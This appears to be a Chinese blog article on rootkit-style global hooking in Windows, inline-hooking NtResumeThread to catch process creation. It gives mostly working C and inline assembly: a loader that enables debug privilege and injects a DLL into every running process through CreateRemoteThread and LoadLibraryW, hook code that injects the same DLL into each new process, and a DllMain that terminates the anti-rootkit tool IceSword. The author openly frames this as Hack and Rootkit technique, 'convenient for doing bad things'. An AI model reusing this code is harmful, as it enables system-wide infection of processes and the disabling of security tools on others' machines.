挂钩 NtResumeThread 实现全局Hook

zhouzhenster@gmail.com

zhouzhen[E.S.T]



挂钩一直是Hack 编程中永恒的主题,基本高级的Rootkit 程序多多少少都会使用Hook 技术。

似乎Hook 都被讲烂了,不论是Ring3 的还是Ring0 的网上都有例子。Ring0 的毋庸置疑当然

是全局的了,这里说说ring3 的全局hook。Ring 3 有Ring 3 的优势,稳定是压倒一切的,

因此Mcafee 和其他一些商业的安全软件都还是使用了Ring3 的Hook 技术,无论如何用户是

无法接受蓝屏和死机的。



感兴趣的可以装个Rootkit unhooker 自己看看。 :)



1. 以往的Ring 3全局Hook



纵观网上流行的全局Hook 程序都只用了一个Windows API, SetWindowsHookEx,此函数原型:



HHOOK SetWindowsHookEx(      

    int idHook,

    HOOKPROC lpfn,

    HINSTANCE hMod,

    DWORD dwThreadId

);



idhook   安装的钩子类型,如 WH_GETMESSAGE,WH_KEYBOARD 等

lpfn     hook procedure 的指针

hmod     包含 hook procedure DLL 的handle

dwThread 为0



使用这个这个API 时候有问题的,只能挂接系统中的所有G U I线程,换句通俗的话说就是有界面

的程序,Windows console 类的程序就无能为力了。



还有一种通过插入注册表来实现



HKEY_LOCAL_MACHINE/Software/Microsoft/Windows NT/CurrentVersion/Windows/AppInit_DLLs



这种方法简单,但是还是只能挂钩GUI 程序,并且这个键值已经被广大HIPS 所关注,吃力不讨好。



以上两种效果不好,因此有人有开始另外的做法,枚举所有进程,插入和挂钩 NtCreateProcess

这是非常自然的想法,似乎也把问题解决了,但是仔细思考一下,就会发现很多问题。



a. 时机不对,在NtCreateProcess函数被调用时进程并没有真正被创建,我们无法执行HOOK操作,

   而当NtCreateProcess返回时,进程又已经开始运行



b. 如果是Windows console 创建的进程,你如何去监控这个调用呢?这么说似乎比较抽象,你可

   以这么理解,直接在命令行下,cmd,cmd,cmd .... 你可以监控到最后一个cmd 吗,如果只

   用SetWindowsHookEx



c. 是否正好站在了华容道,是否足够底层。



似乎很费劲



2. 分析系统创建进程过程,寻找方法



关于这方面内容,可以参考毛德操老师的两篇文章



《漫谈兼容内核之十七:再谈Windows的进程创建》



《漫谈兼容内核之二十二:Windows线程的调度和运行》



下面是他的blog 链接:

http://hi.baidu.com/fatbsd/blog



CreateProcess 是 Kernel32.dll 的导出函数。



操起WinDbg,剁了一下: Windows 2003 SP2



lkd> uf CreateProcessW

kernel32!CreateProcessW:

7c802474 8bff             mov     edi,edi

7c802476 55               push    ebp

7c802477 8bec             mov     ebp,esp

7c802479 6a00             push    0x0

7c80247b ff752c           push    dword ptr [ebp+0x2c]

7c80247e ff7528           push    dword ptr [ebp+0x28]

7c802481 ff7524           push    dword ptr [ebp+0x24]

7c802484 ff7520           push    dword ptr [ebp+0x20]

7c802487 ff751c           push    dword ptr [ebp+0x1c]

7c80248a ff7518           push    dword ptr [ebp+0x18]

7c80248d ff7514           push    dword ptr [ebp+0x14]

7c802490 ff7510           push    dword ptr [ebp+0x10]

7c802493 ff750c           push    dword ptr [ebp+0xc]

7c802496 ff7508           push    dword ptr [ebp+0x8]

7c802499 6a00             push    0x0

7c80249b e8a6ac0200       call    kernel32!CreateProcessInternalW (7c82d146)

7c8024a0 5d               pop     ebp

7c8024a1 c22800           ret     0x28



lkd> uf CreateProcessInternalW

....

7c82cf8f ff159814807c call dword ptr [kernel32!_imp__NtCreateProcessEx (7c801498)]

....

7c82daa2 ff159414807c call dword ptr [kernel32!_imp__NtCreateThread (7c801494)]

....

7c82dbdc ff158814807c call dword ptr [kernel32!_imp__NtResumeThread (7c801488)]



大概流程如下:



Kernel32!CreateProcessW

Kernel32!CreateProcessInternalW

ntdll!NtCreateProcessEx

ntdll!NtCreateThread

ntdll!NtResumeThread



因为进程创建后,Windows 必须为它创建一个主线程,然后等待操作系统调度它。

所以调用NtResumeThread的时候,就是我们Hook的最佳时机,因为此时创建进程的主要工作已经完成,

但是进程并没有调度起来,呵呵,方便干坏事啊。



3. 具体代码实现



基本思路已经清晰了,这里还几个问题。



a. NtResumeThread 函数并不是创建进程才调用,我们怎么区分出哪个是创建进程时

   调用的NtResumeThread呢?



其实现实起来不困难,先枚举系统进程一次,将系统进程中NtResumeThread 都挂钩上。每次拦截到

NTResumeThread 是判断NtResumeThread 的头几个字节是否已经被修改,如果没有则是创建新进程的调用。



b. 用什么方法Hook , IAT、Inline? 总的架构?



  这种代码写起来还是Inline Hook 来的舒服,修改函数调用头几个字节。

  枚举系统所有进程是不可避免的,因此要写个loader 将我们编写的DLL 插入系统所有进程。发现有进进程

  创建时,将DLL 插入新进程。



  下面代码演示,Hook NtQuerySystemInformation,因为篇幅等原因只有整体框架和关键代码。

  Hook 也不是不是我们这次的主要内容,感兴趣的可以参考



  http://www.xfocus.net/articles/200403/681.html 



c. 在多线程的环境下是否可靠?

   

  使用关键代码段,互斥锁,效果还可以。





Loader:



void inject(HANDLE hProcess){



char CurPath[256] = {0};

    strcpy(CurPath, "C://WINDOWS//system32//Hook.dll");

    PWSTR pszLibFileRemote = NULL;





    int len = (lstrlen(CurPath)+1)*2;

    WCHAR wCurPath[256];

    MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);



    pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, 

                                             NULL, 

                                             len, 

                                             MEM_COMMIT, 

                                             PAGE_READWRITE);



    WriteProcessMemory(hProcess, pszLibFileRemote, 

            (PVOID) wCurPath, len, NULL);



    PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)

        GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");



    CreateRemoteThread(hProcess, 

                       NULL, 

                       0,    

                       pfnThreadRtn, 

                       pszLibFileRemote, 

                       0, 

                       NULL);



}



void TotalInject()

{

    HANDLE         hProcessSnap = NULL; 

    BOOL           bRet      = FALSE; 

    PROCESSENTRY32 pe32      = {0}; 



    //  Take a snapshot of all processes in the system. 

    EnableDebugPrivilege(1);



    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 



    if (hProcessSnap == INVALID_HANDLE_VALUE) 

        return; 



    //  Fill in the size of the structure before using it. 



    pe32.dwSize = sizeof(PROCESSENTRY32); 



    //  Walk the snapshot of the processes, and for each process, 

    //  display information. 



    if (Process32First(hProcessSnap, &pe32)) 

    { 



        do 

        { 

                HANDLE hProcess; 

                // Get the actual priority class.

                hProcess = OpenProcess (PROCESS_ALL_ACCESS, 

                                        FALSE, 

                                       pe32.th32ProcessID);

        inject(hProcess);

        CloseHandle(hProcess);

           

        } 

        while (Process32Next(hProcessSnap, &pe32)); 



    } 



    // Do not forget to clean up the snapshot object. 

        EnableDebugPrivilege(0);



    CloseHandle (hProcessSnap); 

    return ; 





}



Hook.dll: 关键代码



#include "stdafx.h"

#include <stdio.h>



BOOL g_bHook = FALSE;



typedef LONG NTSTATUS;

#define STATUS_SUCCESS               ((NTSTATUS)0x00000000L)

#define STATUS_ACCESS_DENIED         ((NTSTATUS)0xC0000022L)

#define STATUS_INFO_LENGTH_MISMATCH  ((NTSTATUS)0xC0000004L)

typedef ULONG SYSTEM_INFORMATION_CLASS;

typedef ULONG THREADINFOCLASS;

typedef ULONG PROCESSINFOCLASS;

typedef ULONG KPRIORITY;

#define MEMORY_BASIC_INFORMATION_SIZE 28



typedef struct _THREAD_BASIC_INFORMATION {

    NTSTATUS ExitStatus;

    PNT_TIB TebBaseAddress;

    CLIENT_ID ClientId;

    KAFFINITY AffinityMask;

    KPRIORITY Priority;

    KPRIORITY BasePriority;

} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;



typedef struct _PROCESS_BASIC_INFORMATION { // Information Class 0

NTSTATUS ExitStatus;

PVOID PebBaseAddress;

KAFFINITY AffinityMask;

KPRIORITY BasePriority;

ULONG UniqueProcessId;

ULONG InheritedFromUniqueProcessId;

} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;



typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)(

  IN SYSTEM_INFORMATION_CLASS SystemInformationClass,

  OUT PVOID               SystemInformation,

  IN ULONG                SystemInformationLength,

  OUT PULONG              ReturnLength OPTIONAL );



typedef NTSTATUS (__stdcall *NTRESUMETHREAD)(

IN HANDLE ThreadHandle,

OUT PULONG PreviousSuspendCount OPTIONAL

);



typedef NTSTATUS (__stdcall *NTQUERYINFORMATIONTHREAD)(

  IN HANDLE ThreadHandle,

  IN THREADINFOCLASS ThreadInformationClass,

  OUT PVOID ThreadInformation,

  IN ULONG ThreadInformationLength, 

  OUT PULONG ReturnLength OPTIONAL);





typedef NTSTATUS (__stdcall * NTQUERYINFORMATIONPROCESS)(

IN HANDLE ProcessHandle,

IN PROCESSINFOCLASS ProcessInformationClass,

OUT PVOID ProcessInformation,

IN ULONG ProcessInformationLength,

OUT PULONG ReturnLength OPTIONAL);





NTQUERYSYSTEMINFORMATION g_pfNtQuerySystemInformation = NULL;

NTRESUMETHREAD g_pfNtResumeThread = NULL;

BYTE g_OldNtQuerySystemInformation[5] = {0}, g_NewNtQuerySystemInformation[5] = {0};

BYTE g_OldNtResumeThread[5] = {0}, g_NewNtResumeThread[5] = {0};

DWORD dwIdOld = 0;

CRITICAL_SECTION cs;



NTSTATUS __stdcall NewNtQuerySystemInformation(

            IN ULONG SystemInformationClass,

            IN PVOID SystemInformation,

            IN ULONG SystemInformationLength,

            OUT PULONG ReturnLength);



NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,

OUT PULONG PreviousSuspendCount OPTIONAL);





void WINAPI HookOn();

void WINAPI HookOff();



BOOL APIENTRY DllMain( HANDLE hModule, 

                       DWORD  ul_reason_for_call, 

                       LPVOID lpReserved )

{

    switch (ul_reason_for_call)

    {

        case DLL_PROCESS_ATTACH:

        {

             InitializeCriticalSection(&cs);

             char Name[MAX_PATH] = {0};

             GetModuleFileName(NULL, Name, MAX_PATH);

             // 杀杀冰刃玩玩

             if ( strstr(Name, "IceSword.exe") != NULL)

             {

                HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 

                                              0, 

                                              GetCurrentProcessId());

                TerminateProcess(hProcess, 0);

                CloseHandle(hProcess);

             }

            if(!g_bHook)

            {

                HookOn();

            }

            #ifdef _DEBUG

               MessageBox(NULL, "Process Attach", "Remote Dll", MB_OK);

            #endif



        }

            break;

        case DLL_THREAD_ATTACH:

            

            break;

        case DLL_THREAD_DETACH:

            break;

        case DLL_PROCESS_DETACH:

        if(g_bHook)

        {

            HookOff();

#ifdef _DEBUG

            MessageBox(NULL, "Off!", "Hook Off", MB_OK);

#endif    

            DeleteCriticalSection(&cs);

            

        }

        break;

    }



        return TRUE;

}



BOOL EnableDebugPrivilege(BOOL fEnable) {



   // Enabling the debug privilege allows the application to see

   // information about service applications

   BOOL fOk = FALSE;    // Assume function fails

   HANDLE hToken;



   // Try to open this process's access token

   if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, 

      &hToken)) {



      // Attempt to modify the "Debug" privilege

      TOKEN_PRIVILEGES tp;

      tp.PrivilegeCount = 1;

      LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

      tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;

      AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

      fOk = (GetLastError() == ERROR_SUCCESS);

      CloseHandle(hToken);

   }

   return(fOk);

}



#define ThreadBasicInformation 0



void inject(HANDLE hProcess){



    char CurPath[256] = {0};

    GetSystemDirectory(CurPath, 256);

    strncat(CurPath, "//Hook.dll", 9);

    //strcpy(CurPath, "C://WINDOWS//system32//Hook.dll");

    PWSTR pszLibFileRemote = NULL;





    int len = (lstrlen(CurPath)+1)*2;

    WCHAR wCurPath[256];

    MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);



    EnableDebugPrivilege(1);



    pszLibFileRemote = (PWSTR) 

        VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT, PAGE_READWRITE);



    WriteProcessMemory(hProcess, pszLibFileRemote, 

        (PVOID) wCurPath, len, NULL);



    PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)

         GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");



    HANDLE hRemoteThread = CreateRemoteThread(hProcess, 

                                                      NULL, 

                                                      0, 

                                                      pfnThreadRtn, 

                                                      pszLibFileRemote, 

                                                      0, 

                                                      NULL);

    WaitForSingleObject(hRemoteThread, INFINITE);

    CloseHandle(hRemoteThread);



    EnableDebugPrivilege(0);



}



NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,

OUT PULONG PreviousSuspendCount OPTIONAL)

{



    NTSTATUS ret;

    NTSTATUS nStatus;

    NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;

    NTQUERYINFORMATIONTHREAD NtQueryInformationThread = NULL;

    THREAD_BASIC_INFORMATION ti;

    DWORD Pid = 0;



    HMODULE hNtdll = GetModuleHandle("ntdll.dll");



    NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, 

                                                             "NtQuerySystemInformation");

    NtQueryInformationThread = (NTQUERYINFORMATIONTHREAD)GetProcAddress(hNtdll, 

                                                             "NtQueryInformationThread");



    if (NtQueryInformationThread == NULL)

    {

#ifdef _DEBUG

        MessageBox(NULL, "can't get NtQueryInformationThread", "", MB_OK);

#endif    

        

    }

    

    nStatus = NtQueryInformationThread(ThreadHandle, 

                                           ThreadBasicInformation, 

                                           (PVOID)&ti, 

                       sizeof(THREAD_BASIC_INFORMATION), 

                                           NULL);



    if(nStatus != STATUS_SUCCESS)

    {

#ifdef _DEBUG

        MessageBox(NULL, "fuck failed", "", MB_OK);

#endif

        

    }



    Pid = (DWORD)(ti.ClientId.UniqueProcess);



    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, Pid);



    if (hProcess == NULL)

    {

#ifdef _DEBUG

        MessageBox(NULL, "open process failed", "", MB_OK);

#endif

    }



    BYTE FirstByte[1] = {0};

    // check if the process has been hooked

    ReadProcessMemory(hProcess, NtQuerySystemInformation, FirstByte, 1, NULL); 



    // 已经被Hook了

    if ( FirstByte[0] == 0xe9)

    {



       HookOff();

       ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);

       HookOn();



       CloseHandle(hProcess);



       return ret;

    }

    // 创建新进程的调用,Hook 之

    else

    {

        HookOff();

        inject(hProcess);

        ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);

        HookOn();



        CloseHandle(hProcess);

        return ret;

    }

}



NTSTATUS __stdcall NewNtQuerySystemInformation(

            IN ULONG SystemInformationClass,

            IN PVOID SystemInformation,

            IN ULONG SystemInformationLength,

            OUT PULONG ReturnLength)

{

    NTSTATUS ntStatus;



    HookOff();

    ntStatus = g_pfNtQuerySystemInformation(SystemInformationClass,

                                                SystemInformation,

                                                SystemInformationLength,

                                                ReturnLength);

    HookOn();



   return ntStatus;

}





void WINAPI HookOn()

{

    PMEMORY_BASIC_INFORMATION lpAllocBuffer = NULL;

    DWORD dwOldProtect, dwOldProtect2;

    HANDLE hProcess = NULL;



    

    dwIdOld = GetCurrentProcessId(); 

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwIdOld);

    if(hProcess == NULL)

    return ;



     HMODULE hNtdll = GetModuleHandle("ntdll.dll");

     g_pfNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, 

                                                    "NtQuerySystemInformation");



     if (g_pfNtQuerySystemInformation == NULL)

     {

         return;

     }



     g_pfNtResumeThread = (NTRESUMETHREAD)GetProcAddress(hNtdll, "NtResumeThread");



     if (g_pfNtResumeThread == NULL)

     {

         return;

     }

    

     EnterCriticalSection(&cs);



    _asm

    {

        lea edi,g_OldNtQuerySystemInformation

        mov esi,g_pfNtQuerySystemInformation

        cld

        mov ecx,5

        rep movsb

        lea edi,g_OldNtResumeThread

        mov esi,g_pfNtResumeThread

        cld

        mov ecx,5

        rep movsb

    }



    g_NewNtQuerySystemInformation[0] = 0xe9;

    g_NewNtResumeThread[0] = 0xe9;

    _asm

    {

        lea eax, NewNtQuerySystemInformation

        mov ebx, g_pfNtQuerySystemInformation

        sub eax, ebx

        sub eax, 5 

        mov dword ptr [g_NewNtQuerySystemInformation + 1], eax 

        lea eax, NewNtResumeThread

        mov ebx, g_pfNtResumeThread

        sub eax, ebx

        sub eax, 5

        mov dword ptr [g_NewNtResumeThread + 1], eax

    }

    .......

    LeaveCriticalSection(&cs);



    g_bHook = TRUE;

}



// 还原被修改的代码

void WINAPI HookOff()

{

    ......

    g_bHook = FALSE;

}



4. 参考资料



Microsoft MSDN,SDK & DDK

《Windows NT 2000 Native API Reference》

《Windows 核心编程》

《挂钩Windows API》

《如何在Windows NT中隐藏自己》



#

# EOF
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值